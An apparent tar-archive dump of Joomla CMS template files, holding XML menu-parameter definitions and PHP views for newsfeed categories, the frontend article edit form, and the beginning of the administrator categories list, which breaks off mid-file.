				<option value="-1">JALL</option>
				<option value="0">JNONE</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>
			</field>

			<field
				name="show_empty_categories"
				type="list"
				label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_subcat_desc"
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_cat_items"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_CAT_ITEMS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>
		<fieldset name="advanced" label="JGLOBAL_LIST_LAYOUT_OPTIONS" description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL">

			<field
				name="filter_field"
				type="list"
				label="JGLOBAL_FILTER_FIELD_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="hide">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_articles"
				type="list"
				label="COM_NEWSFEEDS_FIELD_NUM_ARTICLES_COLUMN_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_link"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_LINKS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>

		<fieldset name="newsfeed" label="COM_NEWSFEEDS_FIELDSET_MORE_OPTIONS_LABEL">
			<field
				name="show_feed_image"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_FEED_IMAGE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_feed_description"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_FEED_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_item_description"
				type="list"
				label="COM_NEWSFEEDS_FIELD_SHOW_ITEM_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="feed_character_count"
				type="number"
				label="COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_LABEL"
				description="COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_DESC"
				filter="integer"
				useglobal="true"
			/>

			<field
				name="feed_display_order"
				type="list"
				label="COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="des">JGLOBAL_MOST_RECENT_FIRST</option>
				<option value="asc">JGLOBAL_OLDEST_FIRST</option>
			</field>
		</fieldset>
	</fields>
</metadata>
category/default.php000064400000005307151726042000010520 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Layout\LayoutHelper;

$htag = $this->params->get('show_page_heading') ? 'h2' : 'h1';
?>
<div class="com-newsfeeds-category newsfeed-category">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <h1>
            <?php echo $this->escape($this->params->get('page_heading')); ?>
        </h1>
    <?php endif; ?>
    <?php if ($this->params->get('show_category_title', 1)) : ?>
        <<?php echo $htag; ?>>
            <?php echo HTMLHelper::_('content.prepare', $this->category->title, '', 'com_newsfeeds.category.title'); ?>
        </<?php echo $htag; ?>>
    <?php endif; ?>
    <?php if ($this->params->get('show_tags', 1) && !empty($this->category->tags->itemTags)) : ?>
        <?php $this->category->tagLayout = new FileLayout('joomla.content.tags'); ?>
        <?php echo $this->category->tagLayout->render($this->category->tags->itemTags); ?>
    <?php endif; ?>
    <?php if ($this->params->get('show_description', 1) || $this->params->def('show_description_image', 1)) : ?>
        <div class="com-newsfeeds-category__description category-desc">
            <?php if ($this->params->get('show_description_image') && $this->category->getParams()->get('image')) : ?>
                <?php echo LayoutHelper::render(
                    'joomla.html.image',
                    [
                        'src' => $this->category->getParams()->get('image'),
                        'alt' => empty($this->category->getParams()->get('image_alt')) && empty($this->category->getParams()->get('image_alt_empty')) ? false : $this->category->getParams()->get('image_alt'),
                    ]
                ); ?>
            <?php endif; ?>
            <?php if ($this->params->get('show_description') && $this->category->description) : ?>
                <?php echo HTMLHelper::_('content.prepare', $this->category->description, '', 'com_newsfeeds.category'); ?>
            <?php endif; ?>
            <div class="clr"></div>
        </div>
    <?php endif; ?>
    <?php echo $this->loadTemplate('items'); ?>
    <?php if ($this->maxLevel != 0 && !empty($this->children[$this->category->id])) : ?>
        <div class="com-newsfeeds-category__children cat-children">
            <h3>
                <?php echo Text::_('JGLOBAL_SUBCATEGORIES'); ?>
            </h3>
            <?php echo $this->loadTemplate('children'); ?>
        </div>
    <?php endif; ?>
</div>
category/default_items.php000064400000011600151726042000011712 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\String\PunycodeHelper;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Newsfeeds\Site\Helper\RouteHelper;

$n         = count($this->items);
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));

?>
<div class="com-newsfeeds-category__items">
    <?php if (empty($this->items)) : ?>
        <p><?php echo Text::_('COM_NEWSFEEDS_NO_ARTICLES'); ?></p>
    <?php else : ?>
        <form action="<?php echo htmlspecialchars(Uri::getInstance()->toString(), ENT_COMPAT, 'UTF-8'); ?>" method="post" name="adminForm" id="adminForm">
            <?php if ($this->params->get('filter_field') !== 'hide' || $this->params->get('show_pagination_limit')) : ?>
                <fieldset class="com-newsfeeds-category__filters filters">
                    <?php if ($this->params->get('filter_field') !== 'hide' && $this->params->get('filter_field') == '1') : ?>
                        <div class="btn-group">
                            <label class="filter-search-lbl visually-hidden" for="filter-search">
                                <?php echo Text::_('COM_NEWSFEEDS_FILTER_LABEL') . '&#160;'; ?>
                            </label>
                            <input type="text" name="filter-search" id="filter-search" value="<?php echo $this->escape($this->state->get('list.filter')); ?>" class="inputbox" onchange="document.adminForm.submit();" placeholder="<?php echo Text::_('COM_NEWSFEEDS_FILTER_SEARCH_DESC'); ?>">
                        </div>
                    <?php endif; ?>
                    <?php if ($this->params->get('show_pagination_limit')) : ?>
                        <div class="btn-group float-end">
                            <label for="limit" class="visually-hidden">
                                <?php echo Text::_('JGLOBAL_DISPLAY_NUM'); ?>
                            </label>
                            <?php echo $this->pagination->getLimitBox(); ?>
                        </div>
                    <?php endif; ?>
                </fieldset>
            <?php endif; ?>
            <ul class="com-newsfeeds-category__category list-group list-unstyled">
                <?php foreach ($this->items as $item) : ?>
                    <li class="list-group-item">
                    <?php if ($this->params->get('show_articles')) : ?>
                        <span class="list-hits badge bg-info float-end">
                            <?php echo Text::sprintf('COM_NEWSFEEDS_NUM_ARTICLES_COUNT', $item->numarticles); ?>
                        </span>
                    <?php endif; ?>
                    <span class="list float-start">
                        <div class="list-title">
                            <a href="<?php echo Route::_(RouteHelper::getNewsfeedRoute($item->slug, $item->catid)); ?>">
                                <?php echo $item->name; ?>
                            </a>
                        </div>
                    </span>
                    <?php if ($item->published == 0) : ?>
                        <span class="badge bg-warning text-light">
                            <?php echo Text::_('JUNPUBLISHED'); ?>
                        </span>
                    <?php endif; ?>
                    <br>
                    <?php if ($this->params->get('show_link')) : ?>
                        <?php $link = PunycodeHelper::urlToUTF8($item->link); ?>
                        <span class="list float-start">
                            <a href="<?php echo $item->link; ?>">
                                <?php echo $this->escape($link); ?>
                            </a>
                        </span>
                        <br>
                    <?php endif; ?>
                    </li>
                <?php endforeach; ?>
            </ul>
            <?php // Add pagination links ?>
            <?php if (!empty($this->items)) : ?>
                <?php if (($this->params->def('show_pagination', 2) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->pagesTotal > 1)) : ?>
                    <div class="com-newsfeeds-category__pagination w-100">
                        <?php if ($this->params->def('show_pagination_results', 1)) : ?>
                            <p class="counter float-end pt-3 pe-2">
                                <?php echo $this->pagination->getPagesCounter(); ?>
                            </p>
                        <?php endif; ?>
                        <?php echo $this->pagination->getPagesLinks(); ?>
                    </div>
                <?php endif; ?>
            <?php endif; ?>
        </form>
    <?php endif; ?>
</div>

category/default_children.php000064400000004550151726042000012367 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Newsfeeds\Site\Helper\RouteHelper;

defined('_JEXEC') or die;

?>
<?php if ($this->maxLevel != 0 && count($this->children[$this->category->id]) > 0) : ?>
    <ul>
        <?php foreach ($this->children[$this->category->id] as $id => $child) : ?>
            <?php if ($this->params->get('show_empty_categories') || $child->numitems || count($child->getChildren())) : ?>
                <li>
                    <span class="item-title">
                        <a href="<?php echo Route::_(RouteHelper::getCategoryRoute($child->id, $child->language)); ?>">
                            <?php echo $this->escape($child->title); ?>
                        </a>
                    </span>
                    <?php if ($this->params->get('show_subcat_desc') == 1) : ?>
                        <?php if ($child->description) : ?>
                            <div class="category-desc">
                                <?php echo HTMLHelper::_('content.prepare', $child->description, '', 'com_newsfeeds.category'); ?>
                            </div>
                        <?php endif; ?>
                    <?php endif; ?>
                    <?php if ($this->params->get('show_cat_items') == 1) : ?>
                        <span class="badge bg-info">
                            <?php echo Text::_('COM_NEWSFEEDS_CAT_NUM'); ?>&nbsp;
                            <?php echo $child->numitems; ?>
                        </span>
                    <?php endif; ?>
                    <?php if (count($child->getChildren()) > 0) : ?>
                        <?php $this->children[$child->id] = $child->getChildren(); ?>
                        <?php $this->category = $child; ?>
                        <?php $this->maxLevel--; ?>
                        <?php echo $this->loadTemplate('children'); ?>
                        <?php $this->category = $child->getParent(); ?>
                        <?php $this->maxLevel++; ?>
                    <?php endif; ?>
                </li>
            <?php endif; ?>
        <?php endforeach; ?>
    </ul>
<?php endif;
form/edit.php000064400000021501151726042000007141 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate')
    ->useScript('com_content.form-edit');

$this->tab_name = 'com-content-form';
$this->ignore_fieldsets = ['image-intro', 'image-full', 'jmetadata', 'item_associations'];
$this->useCoreUI = true;

// Create shortcut to parameters.
$params = $this->state->get('params');

// This checks if the editor config options have ever been saved. If they haven't they will fall back to the original settings
if (!$params->exists('show_publishing_options')) {
    $params->set('show_urls_images_frontend', '0');
}
?>
<div class="edit item-page">
    <?php if ($params->get('show_page_heading')) : ?>
    <div class="page-header">
        <h1>
            <?php echo $this->escape($params->get('page_heading')); ?>
        </h1>
    </div>
    <?php endif; ?>

    <form action="<?php echo Route::_('index.php?option=com_content&a_id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="adminForm" class="form-validate form-vertical">
        <fieldset>
            <?php echo HTMLHelper::_('uitab.startTabSet', $this->tab_name, ['active' => 'editor', 'recall' => true, 'breakpoint' => 768]); ?>

            <?php echo HTMLHelper::_('uitab.addTab', $this->tab_name, 'editor', Text::_('COM_CONTENT_ARTICLE_CONTENT')); ?>
                <?php echo $this->form->renderField('title'); ?>

                <?php if (is_null($this->item->id)) : ?>
                    <?php echo $this->form->renderField('alias'); ?>
                <?php endif; ?>

                <?php echo $this->form->renderField('articletext'); ?>

                <?php if ($this->captchaEnabled) : ?>
                    <?php echo $this->form->renderField('captcha'); ?>
                <?php endif; ?>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>

            <?php if ($params->get('show_urls_images_frontend')) : ?>
                <?php echo HTMLHelper::_('uitab.addTab', $this->tab_name, 'images', Text::_('COM_CONTENT_IMAGES_AND_URLS')); ?>
                <?php echo $this->form->renderField('image_intro', 'images'); ?>
                <?php echo $this->form->renderField('image_intro_alt', 'images'); ?>
                <?php echo $this->form->renderField('image_intro_alt_empty', 'images'); ?>
                <?php echo $this->form->renderField('image_intro_caption', 'images'); ?>
                <?php echo $this->form->renderField('float_intro', 'images'); ?>
                <?php echo $this->form->renderField('image_fulltext', 'images'); ?>
                <?php echo $this->form->renderField('image_fulltext_alt', 'images'); ?>
                <?php echo $this->form->renderField('image_fulltext_alt_empty', 'images'); ?>
                <?php echo $this->form->renderField('image_fulltext_caption', 'images'); ?>
                <?php echo $this->form->renderField('float_fulltext', 'images'); ?>
                <?php echo $this->form->renderField('urla', 'urls'); ?>
                <?php echo $this->form->renderField('urlatext', 'urls'); ?>
                <div class="control-group">
                    <div class="controls">
                        <?php echo $this->form->getInput('targeta', 'urls'); ?>
                    </div>
                </div>
                <?php echo $this->form->renderField('urlb', 'urls'); ?>
                <?php echo $this->form->renderField('urlbtext', 'urls'); ?>
                <div class="control-group">
                    <div class="controls">
                        <?php echo $this->form->getInput('targetb', 'urls'); ?>
                    </div>
                </div>
                <?php echo $this->form->renderField('urlc', 'urls'); ?>
                <?php echo $this->form->renderField('urlctext', 'urls'); ?>
                <div class="control-group">
                    <div class="controls">
                        <?php echo $this->form->getInput('targetc', 'urls'); ?>
                    </div>
                </div>
                <?php echo HTMLHelper::_('uitab.endTab'); ?>
            <?php endif; ?>

            <?php echo LayoutHelper::render('joomla.edit.params', $this); ?>

            <?php echo HTMLHelper::_('uitab.addTab', $this->tab_name, 'publishing', Text::_('COM_CONTENT_PUBLISHING')); ?>

                <?php echo $this->form->renderField('transition'); ?>
                <?php echo $this->form->renderField('state'); ?>
                <?php echo $this->form->renderField('catid'); ?>
                <?php echo $this->form->renderField('tags'); ?>
                <?php echo $this->form->renderField('note'); ?>
                <?php if ($params->get('save_history', 0)) : ?>
                    <?php echo $this->form->renderField('version_note'); ?>
                <?php endif; ?>
                <?php if ($params->get('show_publishing_options', 1) == 1) : ?>
                    <?php echo $this->form->renderField('created_by_alias'); ?>
                <?php endif; ?>
                <?php if ($this->item->params->get('access-change')) : ?>
                    <?php echo $this->form->renderField('featured'); ?>
                    <?php if ($params->get('show_publishing_options', 1) == 1) : ?>
                        <?php echo $this->form->renderField('featured_up'); ?>
                        <?php echo $this->form->renderField('featured_down'); ?>
                        <?php echo $this->form->renderField('publish_up'); ?>
                        <?php echo $this->form->renderField('publish_down'); ?>
                    <?php endif; ?>
                <?php endif; ?>
                <?php echo $this->form->renderField('access'); ?>
                <?php if (is_null($this->item->id)) : ?>
                    <div class="control-group">
                        <div class="control-label">
                        </div>
                        <div class="controls">
                            <?php echo Text::_('COM_CONTENT_ORDERING'); ?>
                        </div>
                    </div>
                <?php endif; ?>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>

            <?php if (Multilanguage::isEnabled()) : ?>
                <?php echo HTMLHelper::_('uitab.addTab', $this->tab_name, 'language', Text::_('JFIELD_LANGUAGE_LABEL')); ?>
                    <?php echo $this->form->renderField('language'); ?>
                <?php echo HTMLHelper::_('uitab.endTab'); ?>
            <?php else : ?>
                <?php echo $this->form->renderField('language'); ?>
            <?php endif; ?>

            <?php if ($params->get('show_publishing_options', 1) == 1) : ?>
                <?php echo HTMLHelper::_('uitab.addTab', $this->tab_name, 'metadata', Text::_('COM_CONTENT_METADATA')); ?>
                    <?php echo $this->form->renderField('metadesc'); ?>
                    <?php echo $this->form->renderField('metakey'); ?>
                <?php echo HTMLHelper::_('uitab.endTab'); ?>
            <?php endif; ?>

            <?php echo HTMLHelper::_('uitab.endTabSet'); ?>

            <input type="hidden" name="task" value="">
            <input type="hidden" name="return" value="<?php echo $this->return_page; ?>">
            <?php echo HTMLHelper::_('form.token'); ?>
        </fieldset>
        <div class="mb-2">
            <button type="button" class="btn btn-primary" data-submit-task="article.apply">
                <span class="icon-check" aria-hidden="true"></span>
                <?php echo Text::_('JSAVE'); ?>
            </button>
            <button type="button" class="btn btn-primary" data-submit-task="article.save">
                <span class="icon-check" aria-hidden="true"></span>
                <?php echo Text::_('JSAVEANDCLOSE'); ?>
            </button>
            <?php if ($this->showSaveAsCopy) : ?>
                <button type="button" class="btn btn-primary" data-submit-task="article.save2copy">
                    <span class="icon-copy" aria-hidden="true"></span>
                    <?php echo Text::_('JSAVEASCOPY'); ?>
                </button>
            <?php endif; ?>
            <button type="button" class="btn btn-danger" data-submit-task="article.cancel">
                <span class="icon-times" aria-hidden="true"></span>
                <?php echo Text::_('JCANCEL'); ?>
            </button>
            <?php if ($params->get('save_history', 0) && $this->item->id) : ?>
                <?php echo $this->form->getInput('contenthistory'); ?>
            <?php endif; ?>
        </div>
    </form>
</div>
form/edit.xml000064400000003441151726042000007155 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CONTENT_FORM_VIEW_DEFAULT_TITLE" option="COM_CONTENT_FORM_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_Create_Article"
		/>
		<message>
			<![CDATA[COM_CONTENT_FORM_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<fields name="params">
		<fieldset name="basic"
			addfieldprefix="Joomla\Component\Categories\Administrator\Field"
		>
			<field
				name="enable_category"
				type="radio"
				label="COM_CONTENT_CREATE_ARTICLE_CATEGORY_LABEL"
				layout="joomla.form.field.radio.switcher"
				default="0"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="catid"
				type="modal_category"
				label="JGLOBAL_CHOOSE_CATEGORY_LABEL"
				extension="com_content"
				select="true"
				new="true"
				edit="true"
				clear="true"
				showon="enable_category:1"
			/>

			<field
				name="redirect_menuitem"
				type="modal_menu"
				label="COM_CONTENT_CREATE_ARTICLE_REDIRECTMENU_LABEL"
				description="COM_CONTENT_CREATE_ARTICLE_REDIRECTMENU_DESC"
				>
				<option value="">JDEFAULT</option>
			</field>

			<field
				name="custom_cancel_redirect"
				type="radio"
				label="COM_CONTENT_CREATE_ARTICLE_CUSTOM_CANCEL_REDIRECT_LABEL"
				description="COM_CONTENT_CREATE_ARTICLE_CUSTOM_CANCEL_REDIRECT_DESC"
				layout="joomla.form.field.radio.switcher"
				default="0"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="cancel_redirect_menuitem"
				type="modal_menu"
				label="COM_CONTENT_CREATE_ARTICLE_CANCEL_REDIRECT_MENU_LABEL"
				description="COM_CONTENT_CREATE_ARTICLE_CANCEL_REDIRECT_MENU_DESC"
				showon="custom_cancel_redirect:1"
				>
				<option value="">JDEFAULT</option>
			</field>
		</fieldset>
	</fields>
</metadata>
categories/default_items.php000064400000006316151726042000012232 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Newsfeeds\Site\Helper\RouteHelper;

?>
<?php if ($this->maxLevelcat != 0 && count($this->items[$this->parent->id]) > 0) : ?>
    <?php foreach ($this->items[$this->parent->id] as $id => $item) : ?>
        <?php if ($this->params->get('show_empty_categories_cat') || $item->numitems || count($item->getChildren())) : ?>
            <div class="com-newsfeeds-categories__items">
                <h3 class="page-header item-title">
                    <a href="<?php echo Route::_(RouteHelper::getCategoryRoute($item->id, $item->language)); ?>">
                        <?php echo $this->escape($item->title); ?>
                    </a>
                    <?php if ($this->params->get('show_cat_items_cat') == 1) : ?>
                        <span class="badge bg-info">
                            <?php echo Text::_('COM_NEWSFEEDS_NUM_ITEMS'); ?>&nbsp;
                            <?php echo $item->numitems; ?>
                        </span>
                    <?php endif; ?>
                    <?php if (count($item->getChildren()) > 0 && $this->maxLevelcat > 1) : ?>
                        <button
                            type="button"
                            id="category-btn-<?php echo $item->id; ?>"
                            data-bs-target="#category-<?php echo $item->id; ?>"
                            data-bs-toggle="collapse"
                            class="btn btn-secondary btn-sm float-end"
                            aria-label="<?php echo Text::_('JGLOBAL_EXPAND_CATEGORIES'); ?>"
                        >
                            <span class="icon-plus" aria-hidden="true"></span>
                        </button>
                    <?php endif; ?>
                </h3>
                <?php if ($this->params->get('show_subcat_desc_cat') == 1) : ?>
                    <?php if ($item->description) : ?>
                        <div class="com-newsfeeds-categories__description category-desc">
                            <?php echo HTMLHelper::_('content.prepare', $item->description, '', 'com_newsfeeds.categories'); ?>
                        </div>
                    <?php endif; ?>
                <?php endif; ?>
                <?php if (count($item->getChildren()) > 0 && $this->maxLevelcat > 1) : ?>
                    <div class="com-newsfeeds-categories__children collapse fade" id="category-<?php echo $item->id; ?>">
                        <?php $this->items[$item->id] = $item->getChildren(); ?>
                        <?php $this->parent = $item; ?>
                        <?php $this->maxLevelcat--; ?>
                        <?php echo $this->loadTemplate('items'); ?>
                        <?php $this->parent = $item->getParent(); ?>
                        <?php $this->maxLevelcat++; ?>
                    </div>
                <?php endif; ?>
            </div>
        <?php endif; ?>
    <?php endforeach; ?>
<?php endif; ?>
categories/default.php000064400000051602151726042000011027 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;
use Joomla\String\Inflector;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$user      = Factory::getUser();
$userId    = $user->get('id');
$extension = $this->escape($this->state->get('filter.extension'));
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$saveOrder = ($listOrder == 'a.lft' && strtolower($listDirn) == 'asc');
$parts     = explode('.', $extension, 2);
$component = $parts[0];
$section   = null;

if (count($parts) > 1) {
    $section = $parts[1];

    $inflector = Inflector::getInstance();

    if (!$inflector->isPlural($section)) {
        $section = $inflector->toPlural($section);
    }
}

if ($saveOrder && !empty($this->items)) {
    $saveOrderingUrl = 'index.php?option=com_categories&task=categories.saveOrderAjax&tmpl=component&' . Session::getFormToken() . '=1';
    HTMLHelper::_('draggablelist.draggable');
}
?>
<form action="<?php echo Route::_('index.php?option=com_categories&view=categories&extension=' . $this->state->get('filter.extension')); ?>" method="post" name="adminForm" id="adminForm">
    <div class="row">
        <div class="col-md-12">
            <div id="j-main-container" class="j-main-container">
                <?php
                // Search tools bar
                echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]);
                ?>
                <?php if (empty($this->items)) : ?>
                    <div class="alert alert-info">
                        <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                        <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                    </div>
                <?php else : ?>
                    <table class="table" id="categoryList">
                        <caption class="visually-hidden">
                            <?php echo Text::_('COM_CATEGORIES_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                        </caption>
                        <thead>
                            <tr>
                                <td class="w-1 text-center">
                                    <?php echo HTMLHelper::_('grid.checkall'); ?>
                                </td>
                                <th scope="col" class="w-1 text-center d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', '', 'a.lft', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-sort'); ?>
                                </th>
                                <th scope="col" class="w-1 text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
                                </th>
                                <?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_published')) : ?>
                                    <th scope="col" class="w-3 text-center d-none d-md-table-cell">
                                        <span class="icon-check" aria-hidden="true" title="<?php echo Text::_('COM_CATEGORY_COUNT_PUBLISHED_ITEMS'); ?>"></span>
                                        <span class="visually-hidden"><?php echo Text::_('COM_CATEGORY_COUNT_PUBLISHED_ITEMS'); ?></span>
                                    </th>
                                <?php endif; ?>
                                <?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_unpublished')) : ?>
                                    <th scope="col" class="w-3 text-center d-none d-md-table-cell">
                                        <span class="icon-times" aria-hidden="true" title="<?php echo Text::_('COM_CATEGORY_COUNT_UNPUBLISHED_ITEMS'); ?>"></span>
                                        <span class="visually-hidden"><?php echo Text::_('COM_CATEGORY_COUNT_UNPUBLISHED_ITEMS'); ?></span>
                                    </th>
                                <?php endif; ?>
                                <?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_archived')) : ?>
                                    <th scope="col" class="w-3 text-center d-none d-md-table-cell">
                                        <span class="icon-folder icon-fw" aria-hidden="true" title="<?php echo Text::_('COM_CATEGORY_COUNT_ARCHIVED_ITEMS'); ?>"></span>
                                        <span class="visually-hidden"><?php echo Text::_('COM_CATEGORY_COUNT_ARCHIVED_ITEMS'); ?></span>
                                    </th>
                                <?php endif; ?>
                                <?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_trashed')) : ?>
                                    <th scope="col" class="w-3 text-center d-none d-md-table-cell">
                                        <span class="icon-trash" aria-hidden="true" title="<?php echo Text::_('COM_CATEGORY_COUNT_TRASHED_ITEMS'); ?>"></span>
                                        <span class="visually-hidden"><?php echo Text::_('COM_CATEGORY_COUNT_TRASHED_ITEMS'); ?></span>
                                    </th>
                                <?php endif; ?>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'access_level', $listDirn, $listOrder); ?>
                                </th>
                                <?php if ($this->assoc) : ?>
                                    <th scope="col" class="w-10 d-none d-md-table-cell">
                                        <?php echo HTMLHelper::_('searchtools.sort', 'COM_CATEGORY_HEADING_ASSOCIATION', 'association', $listDirn, $listOrder); ?>
                                    </th>
                                <?php endif; ?>
                                <?php if (Multilanguage::isEnabled()) : ?>
                                    <th scope="col" class="w-10 d-none d-md-table-cell">
                                        <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'language_title', $listDirn, $listOrder); ?>
                                    </th>
                                <?php endif; ?>
                                <th scope="col" class="w-5 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                                </th>
                            </tr>
                        </thead>
                        <tbody <?php if ($saveOrder) :
                            ?> class="js-draggable" data-url="<?php echo $saveOrderingUrl; ?>" data-direction="<?php echo strtolower($listDirn); ?>" data-nested="false"<?php
                               endif; ?>>
                            <?php foreach ($this->items as $i => $item) : ?>
                                <?php
                                $canEdit    = $user->authorise('core.edit', $extension . '.category.' . $item->id);
                                $canCheckin = $user->authorise('core.admin', 'com_checkin') || $item->checked_out == $userId || is_null($item->checked_out);
